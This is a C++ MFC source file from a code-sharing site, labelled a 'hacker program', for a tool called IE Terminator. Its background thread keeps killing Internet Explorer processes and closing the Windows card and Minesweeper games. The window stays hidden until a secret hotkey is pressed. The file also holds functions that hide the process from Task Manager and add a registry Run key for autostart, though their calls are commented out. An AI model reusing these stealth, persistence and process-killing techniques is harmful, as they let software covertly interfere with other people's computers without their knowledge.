gusucode.com > 黑客程序IE终结者的源代码C++源码程序 > 黑客程序IE终结者的源代码/IEClose/IECloseDlg.cpp

    // IECloseDlg.cpp : implementation file
//

#include "stdafx.h"
#include "IEClose.h"
#include "IECloseDlg.h"
#include <tlhelp32.h>

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
//多线程函数
UINT ThreadFunc(LPVOID lParam)
{
	CIECloseDlg *pdlg=(CIECloseDlg*)lParam;
	while (1)
	{
		if (pdlg->m_bPlayclose) 
		{
			pdlg->m_hkongdangjielong=FindWindow(NULL,"空当接龙");
			pdlg->m_hsaolei=FindWindow(NULL,"扫雷");
			pdlg->m_hzhizhu=FindWindow(NULL,"蜘蛛");
			if (pdlg->m_hkongdangjielong)
			{
				Sleep(1000);
				SendMessage(pdlg->m_hkongdangjielong,WM_DESTROY,0,0);
			}
			if (pdlg->m_hsaolei)
			{
				Sleep(1000);
				SendMessage(pdlg->m_hsaolei,WM_DESTROY,0,0);
			}
			if (pdlg->m_hzhizhu) 
			{
				Sleep(3000);
				SendMessage(pdlg->m_hzhizhu,WM_DESTROY,0,0);
			}
		}
		if (pdlg->m_bIEClose) 
		{
			pdlg->FindMyProcess("IEXPLORE.EXE");
		}
	}
	return 0;
}


/////////////////////////////////////////////////////////////////////////////
// CIECloseDlg dialog

CIECloseDlg::CIECloseDlg(CWnd* pParent /*=NULL*/)
	: CDialog(CIECloseDlg::IDD, pParent)
{
	//{{AFX_DATA_INIT(CIECloseDlg)
		// NOTE: the ClassWizard will add member initialization here
	//}}AFX_DATA_INIT
	// Note that LoadIcon does not require a subsequent DestroyIcon in Win32
	m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
	m_bHide=FALSE;
	m_bIEClose=FALSE;
	m_bPlayclose=FALSE;
	m_handle=NULL;
	m_hie=NULL;
	m_hkongdangjielong=NULL;
	m_hsaolei=NULL;
	m_hzhizhu=NULL;
	m_strfilepath=_T("");
}

void CIECloseDlg::DoDataExchange(CDataExchange* pDX)
{
	CDialog::DoDataExchange(pDX);
	//{{AFX_DATA_MAP(CIECloseDlg)
		// NOTE: the ClassWizard will add DDX and DDV calls here
	//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CIECloseDlg, CDialog)
	//{{AFX_MSG_MAP(CIECloseDlg)
	ON_WM_PAINT()
	ON_WM_QUERYDRAGICON()
	ON_BN_CLICKED(IDC_CHECK2, OnCheck2)
	ON_BN_CLICKED(IDC_CHECK1, OnCheck1)
	ON_BN_CLICKED(IDC_BUTTON1, OnButton1)
	ON_BN_CLICKED(IDC_BUTTON2, OnButton2)
	ON_WM_WINDOWPOSCHANGING()
	ON_WM_DESTROY()
	ON_WM_CREATE()
	//}}AFX_MSG_MAP
	ON_MESSAGE(WM_HOTKEY,OnHotKey)
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CIECloseDlg message handlers

BOOL CIECloseDlg::OnInitDialog()
{
	CDialog::OnInitDialog();

	// Set the icon for this dialog.  The framework does this automatically
	//  when the application's main window is not a dialog
	SetIcon(m_hIcon, TRUE);			// Set big icon
	SetIcon(m_hIcon, FALSE);		// Set small icon
	
	// TODO: Add extra initialization here
	CheckDlgButton(IDC_CHECK1, BST_CHECKED);
	m_bPlayclose=true;
	CreateMyThread();
	//初始化超级链接
	m_myemail.m_link="mailto:f286@eyou.com";
	m_myemail.SubclassDlgItem(IDC_MYEMAIL,this);
	//在任务管理器中隐藏进程
	// HidePorcess();
	//修改注册表,使之自动启动
	//RegMySys();
	
	
	return TRUE;  // return TRUE  unless you set the focus to a control
}

// If you add a minimize button to your dialog, you will need the code below
//  to draw the icon.  For MFC applications using the document/view model,
//  this is automatically done for you by the framework.

void CIECloseDlg::OnPaint() 
{
	if (IsIconic())
	{
		CPaintDC dc(this); // device context for painting

		SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);

		// Center icon in client rectangle
		int cxIcon = GetSystemMetrics(SM_CXICON);
		int cyIcon = GetSystemMetrics(SM_CYICON);
		CRect rect;
		GetClientRect(&rect);
		int x = (rect.Width() - cxIcon + 1) / 2;
		int y = (rect.Height() - cyIcon + 1) / 2;

		// Draw the icon
		dc.DrawIcon(x, y, m_hIcon);
	}
	else
	{
		CDialog::OnPaint();
	}
}

// The system calls this to obtain the cursor to display while the user drags
//  the minimized window.
HCURSOR CIECloseDlg::OnQueryDragIcon()
{
	return (HCURSOR) m_hIcon;
}

void CIECloseDlg::OnCheck2() 
{
	// TODO: Add your control notification handler code here
	m_bIEClose=!m_bIEClose;
	CreateMyThread();
	CloseMyThread();
	
}

void CIECloseDlg::OnCheck1() 
{
	// TODO: Add your control notification handler code here
	m_bPlayclose=!m_bPlayclose;
	CreateMyThread();
	CloseMyThread();
	
	
}

void CIECloseDlg::OnButton1() 
{
	// TODO: Add your control notification handler code here
	SendMessage(WM_CLOSE,0,0);
	
}

void CIECloseDlg::OnButton2() 
{
	// TODO: Add your control notification handler code here
	ShowWindow(SW_HIDE);
	
}

void CIECloseDlg::OnWindowPosChanging(WINDOWPOS FAR* lpwndpos) 
{
	CDialog::OnWindowPosChanging(lpwndpos);
	
	// TODO: Add your message handler code here
	if (!m_bHide) 
	{
		lpwndpos->flags&=~SWP_SHOWWINDOW;
	}
	
}

void CIECloseDlg::OnDestroy() 
{
	CDialog::OnDestroy();
	
	// TODO: Add your message handler code here
	//撤消热键的注册
	UnregisterHotKey(this->m_hWnd,IDC_HOTKEYA);
	UnregisterHotKey(this->m_hWnd,IDC_HOTKEYB);
	//如果关闭时候线程函数还在工作就结束它
	if (m_handle) 
	{
		TerminateThread(m_handle,0);
	}
	
}

int CIECloseDlg::OnCreate(LPCREATESTRUCT lpCreateStruct) 
{
	if (CDialog::OnCreate(lpCreateStruct) == -1)
		return -1;
	
	// TODO: Add your specialized creation code here
	//注册热键为"Ctrl+Shift+j(J)"
	RegisterHotKey(this->m_hWnd,IDC_HOTKEYA,MOD_CONTROL|MOD_SHIFT,'J');
	RegisterHotKey(this->m_hWnd,IDC_HOTKEYB,MOD_SHIFT|MOD_CONTROL,'j');
	
	return 0;
}

// 启动一个线程
BOOL CIECloseDlg::CreateMyThread()
{
	if (m_handle) 
	{
		return TRUE;
	}
	else if(m_bIEClose||m_bPlayclose)
	{
		m_handle=AfxBeginThread((AFX_THREADPROC)ThreadFunc,this);
		return TRUE;
		
	}
	return FALSE;
}

// 关闭线程(如果在选中的情况下,在取消CHeck那就关闭线程)
void CIECloseDlg::CloseMyThread()
{
	if((!m_bIEClose||!m_bPlayclose)&&m_handle)
	{
		TerminateThread(m_handle,0);
	}
	
}

// 列出进程(如果找到要找的进程关闭它)
void CIECloseDlg::FindMyProcess(CString m_strprocessname)
{
	//要查找进程所用到的句柄
	HANDLE m_hfindhandle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
	PROCESSENTRY32* info=new PROCESSENTRY32;
	info->dwSize=sizeof(PROCESSENTRY32);
	if(Process32First(m_hfindhandle,info))        
	{
		CString m_strname;//进程的名称
		while(Process32Next(m_hfindhandle,info)!=FALSE)
		{
			m_strname=info->szExeFile;
			if (m_strname==m_strprocessname)
			{
				HANDLE h=OpenProcess(PROCESS_ALL_ACCESS,TRUE,info->th32ProcessID);
				if(h!=NULL)
				{
					Sleep(3000);
					TerminateProcess(h,0);
				}
			}
		}
		CloseHandle(m_hfindhandle);//关闭进程否J则会出现错误
		if (info) 
		{
			delete info;
		}
	}
	
}
// 更改注册表使程序和系统一起启动运行
void CIECloseDlg::RegMySys()
{
	HKEY hregkey=NULL;
	CString m_strreg;
	GetFullPathName("IECloes.exe",(DWORD)m_strfilepath.GetBuffer(MAX_PATH+1),m_strfilepath.GetBuffer(0),NULL);
	m_strreg=_T("Software\\Microsoft\\Windows\\CurrentVersion\\Run");
	if (RegOpenKey(HKEY_LOCAL_MACHINE,m_strreg,&hregkey)!=ERROR_SUCCESS)
		return;
	else
	{
		m_strfilepath.ReleaseBuffer();
		if(::RegSetValueEx( hregkey,"IECloes",0,REG_SZ,(CONST BYTE *)m_strfilepath.GetBuffer(0),m_strfilepath.GetLength() )!=ERROR_SUCCESS)
			return;
	}
	
	
}

// 在任务管理器中隐藏程序进程
//注:这个函数只有在win98中才可以其作用,win2000\xp都不行

void CIECloseDlg::HidePorcess()
{
	HINSTANCE hInst = LoadLibrary("KERNEL32.DLL"); 
	if(hInst) 
	{            
		typedef DWORD (WINAPI *MYFUNC)(DWORD,DWORD);          
		MYFUNC RegisterServiceProcessFun = NULL;     
		RegisterServiceProcessFun = (MYFUNC)GetProcAddress(hInst, "RegisterServiceProcess");
		if(RegisterServiceProcessFun)     
		{             
			RegisterServiceProcessFun(GetCurrentProcessId(),1);     
		}     
		FreeLibrary(hInst); 
	}
	
}

LRESULT CIECloseDlg::OnHotKey(WPARAM wParam,LPARAM lParam)
{
	if (wParam==1111||wParam==1112)
	{
		m_bHide=TRUE;
		ShowWindow(SW_SHOW);
	}
	SetWindowPos(&this->wndTopMost,0,0,0,0,SWP_NOMOVE|SWP_NOSIZE);
	return 0;
}